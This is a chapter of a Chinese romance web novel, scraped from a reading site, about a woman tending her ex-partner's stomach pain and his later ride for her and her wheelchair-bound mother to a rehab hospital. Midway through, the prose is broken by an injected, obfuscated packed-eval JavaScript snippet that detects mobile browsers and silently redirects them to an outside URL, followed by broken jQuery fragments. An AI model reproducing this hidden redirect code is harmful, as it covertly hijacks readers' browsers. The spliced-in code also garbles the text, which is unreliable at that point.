默认冷灰
24号文字
方正启体

13. 胃药

作者:昭屿星田本书字数:K更新时间:
    宋观复过的是农历生日,十月廿九。


    今天是……公历十二月十五。孟菀青在心里默算,他的生日确实是这几天。


    宋观复已将201的房门敞开,看向她的眼神里,甚至透出几分克制的恳求。


    一梯两户的楼道里,四下很安静。


    孟菀青甚至可以听见自己清晰的心跳。他们就这样沉默了半晌,像是僵持,也像在拉扯。


    最后,孟菀青终究没能把拒绝说出口。


    他侧身请她进屋,示意她在餐桌旁坐下。


    孟菀青坐在大理石餐桌前,看宋观复走进厨房,从洗碗机里取出两只洁净的骨瓷盘。


    他的袖子还是挽起到肘部,刚刚虽然做了不少事,衬衫却还工工整整束在腰带里,俯身时,衬衫撑出背肌紧实宽的轮廓。


    宋观复把骨瓷碟放在桌上,解开蛋糕盒上的墨绿丝带,掀开盒盖。因楼道温度偏高,蛋糕表层的奶油已微微发软,边缘有了些融化的迹象。


    蛋糕的样式很简单,没有蜡烛,也没有用红色糖霜写就的祝福语。


    “我只要一点点就好。”孟菀青轻声说。


    “好。”宋观复应了一声,切下一角放在她盘中,又为自己切了一块。


    蛋糕是车厘子夹心的,动物奶油,甜度很低,孟菀青低头尝了一口。


    四下又变得很安静。


    宋观复没再说什么。


    一如进门前他所请求的,只是要她陪自己吃一块生日蛋糕。


    他的房间是美式风格,整洁得近乎刻板,除了沙发边的茶几上散落着几张摊开的图纸外,几乎没什么生活过的痕迹。


    孟菀青吃了几口,发觉宋观复面前的蛋糕丝毫未动。


    她刚要询问,却注意到他眉头微蹙,脸色比方才更苍白了几分,似乎在极力忍耐着什么。


    “你怎么了?”她放下银叉,金属与瓷碟轻碰,发出清脆一响。


    宋观复停顿了一两秒,摇头,拿起叉子沾了点奶油送入口中。下一秒,他喉结明显滚动,身体几不可察地颤了一下,像在强压着不适。


    孟菀青忽然明白过来,下意识问:“……胃疼?”


    宋观复的胃向来不好,他却总不当回事。从前她问过几次,他都轻描淡写地带过。有次廖家长辈寿宴,他被架上去空腹喝了几杯,当晚便被送进医院,她才知道他的胃病远比说出来的严重。


    “没有。”他缓了几秒,神色恢复如常,放下叉子,看了眼墙上的钟,“不早了,回去休息吧。今天谢谢你。”


    孟菀青没有起身。她知道,若不是疼得厉害,他不会主动下逐客令。


    “药在哪儿?我看着你吃了就走。”她心中升腾起一股莫名的情绪。她知道他喜欢硬撑着,如果不是接下来马上有工作或是重要的事情需要他打起精神来处理,他几乎不会吃药或去医院干预。


    果然,宋观复只道:“没事,可能下午去工地着凉了,喝点热水就好。”话虽如此,他却并未起身,右手无意识地抵在腹间,像在抵御一阵尖锐的绞痛。


    孟菀青对讳疾忌医的人无话可说。她转身绕到客厅,找到热水壶烧上水。


    “药呢?”她问。


    宋观复微微抬起头,像是认真回想了一下:“在……电视柜下面,或者……卧室床头柜抽屉里。”


    孟菀青先翻了客厅抽屉,急救药箱里只有碘伏、创可贴之类。她走进卧室——房间里也是深灰色的窗帘与床品,整齐得像样板间。


    拉开床头柜抽屉,里面竟散放着好些药盒,不少是进口的,种类繁杂。她翻找片刻,找到了他常服的那种胃药,不用看计量,直接倒出三粒在瓶盖里。


    她有多熟悉这瓶药呢?宋观复不爱吃药,有一次他们在外面时,他突然胃疼得直冒冷汗,手边却根本没有药。那以后孟菀青就把他的药随身带在身上。


    在法国的第二年,她有一次背着一个旧包去上课,拿书时,看见包的侧袋里还放着一瓶他的胃药。


    水烧开了。她回过神来,兑成温水,习惯地用手背试了试温度,递过去。


    宋观复脸色比刚才更差,额角渗出细密的冷汗。他没看她,接过药和水,沉默地服下。


    药效不会那么快。


    疼痛暂未缓解的间隙里,他抬起眼,看向站在眼前的女孩。


    恍惚间想起她还在身边时,他们一起在他城西的公寓。他服了药以后,药还没起效时,她让他枕在她腿上,用有点烫的热水袋把手捂热,然后轻轻替他揉着胃腹的位置。


    “好点了吗?”她柔声问。


    “嗯,吃药还不如你揉着有用。”


    “乖乖吃药,以后都给你揉。”她低下头,轻轻吻着他额头。


    不知道是疼痛让人脆弱,还是回忆混淆了现实和虚妄。


    他低低唤了一声:“菀菀。”


    孟菀青没有应声。


    她转过身,安静地离开了201。


    两声关门声先后响起——一近,一远。202的门也关上了。


    餐桌上,蛋糕的奶油又融化了一些,无声地塌软下去。


    ---


    那晚之后,孟菀青再未在201与202之间的走廊里遇见过宋观复。


    房间安顿妥当,她为母亲办理了出院手续,正式搬入202。


    复健安排在每周三上午九点与周五下午四点。徐昭云现在腿还没有力量,孟菀青买了一台轮椅,静苑离康霖仅一街之隔,步行不过六七百米,她推着徐昭云过去,一路上两个人聊聊天,也不算费事。


    可这仅限于天气好的时候。


    这日清早拉开窗帘,飞雪已于昨夜悄然降临,窗外银装素裹一片。


    “咱们打车去?”徐昭云看着窗外,犹疑道。


    孟菀青点点头,拿出手机叫车,但看到系统匹配的车型时,孟菀青恍然间意识到一个问题。


    当初选购轮椅时,她优先考虑了舒适和稳定性,买的这一款轮椅虽可折叠,但收起后依然体积不小,普通轿车的后备箱恐怕难以容纳。


    她只好取消了这单,重新叫车。


    打车软件接连派单两辆轿车后,终于在第三次显示匹配到一辆SUV,孟菀青松了口气,推着母亲出了门。


    轮椅推进电梯以后又转了个方向,孟菀青正低头调适轮子时,即将闭合的电梯门又打开。


    宋观复走进来。


    他穿一身羊毛料的西装,黑色大衣搭在手臂上,密闭的空间里,孟菀青闻到他身上淡淡的须后水味。


    他按下地库B1键,随即侧身,朝轮椅上的徐昭云欠身打了个招呼。徐昭云只当是邻居,也只是礼貌地回应了一下。


    孟菀青将轮椅向后挪了挪,让出空间。


    “外面的雪不小。”宋观复的目光转向她,语气平常,“怎么去医院?”


    “打车。”孟菀青话音刚落,手机便弹出提示——那辆SUV的司机取消了订单。雪天路滑,行程又短,司机不愿接单也在情理之中。她心头掠过一丝懊恼,她其实应该提前私信司机加些小费。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17025712|194389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    正欲重新操作,电梯已经抵达一层,孟菀青手上又操作手机又要推轮椅,不禁有些忙乱。


    宋观复适时开口道:“我送阿姨过去吧。外面风大,从地库走,还能少受些寒气。”


    迟疑间,电梯门已合拢,继续下行至B1。


    想到静苑人车分流的设计,即便叫到车,母亲也难免要在风雪中等待片刻。孟菀青终究没有拒绝,低声说了句“麻烦你了”,便推着轮椅随他走向车位。


    随即,她又想起那个现实问题:“这轮椅折叠后也很占地方,你的车……”


    宋观复像是早就考虑到了这一点,从大衣口袋中取出揽胜的钥匙给她看:“这辆应该可以,实在不行可以把后排放倒一半。”


    孟菀青瞥见钥匙,想起宋观复带她去城郊露营的时候开过这辆越野车,后备箱的确空间很大。她点点头,没再说话。


    “你们在这里稍等,我把车开过来。”


    深灰色的越野平稳地滑至面前。宋观复先行下车,拉开宽大的后座车门,孟菀青小心搀扶母亲坐定。


    她转身去处理轮椅。有几个控制折叠功能的拨片在下部,她俯身去找。


    几缕发丝随着她的动作垂落,划过宋观复帮他稳住轮椅的手。她的绸缎般的发丝微凉,带着清淡的橙花洗发水的气味。


    宋观复的手几不可察地停顿了一瞬,修长的手指在半空中微微蜷缩。


    轮椅顺利装进后备箱,孟菀青陪母亲坐在后排。


    徐昭云一路上免不了和宋观复道谢,宋观复客气道:“都是邻居,举手之劳。”


    车子驶入康霖医院地下车库。宋观复再次下车,帮孟菀青取出并展开轮椅。


    他们一起从地库的电梯上楼,孟菀青忍不住问:“你不去工作?”


    “现在就是去工作。”宋观复目光投向窗外,“东寰在附近拿了一条街区的旅游开发经营权。”


    他指向主楼旁一片覆雪的空地:“我们想将那里改建为配套停车场,现在这片地的建设用地使用权还在康霖手里,今天过来谈谈怎么规划。”


    难怪他说近期在此办公。孟菀青想起这段时间在附近活动时看到马路一侧挡板上“文旅示范区”的字样,心下了然,不再多问,陪母亲前往三楼的康复区。


    宋观复站定在电梯口,目光却一直随着孟菀青,直到她的身影消失在拐角处的一间康复室——她的背影单薄了不少。


    他转身,无处可去,便踱进了林登峰的办公室。林登峰不在,宋观复随手将大衣搁在一旁,在会客区的沙发上坐下。未过多久,搁在茶几上的手机屏幕亮起。


    罗志明发来的消息:【宋总,您在康霖?他们董秘发消息说在停车场看到您的车了,私下问我昨天谈的停车用地的项目有没有新变化。我如何回复,请您指示。】


    宋观复垂眸回复:【过来是因为私事,你斟酌回复。】


    过了没一会儿,罗志明又发来一条:【他们问用不用给您安排午餐和休息场所。】


    宋观复起身,走出办公室,缓步上至三楼。透过康复室的玻璃,孟菀青正小心搀扶着徐昭云,在康复师的指导下,在平行杠中间极其缓慢地、一步一顿地练习重心转移与迈步。徐昭云额上沁着薄汗,神情专注而吃力。


    孟菀青护在一侧,表情紧张,目光片刻不离。


    他静静看了一会儿,低头回复罗志明:【我不需要。送两份营养餐到C座403康复室。】


    过了几秒,他又补充一句:【不要以我的名义。】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)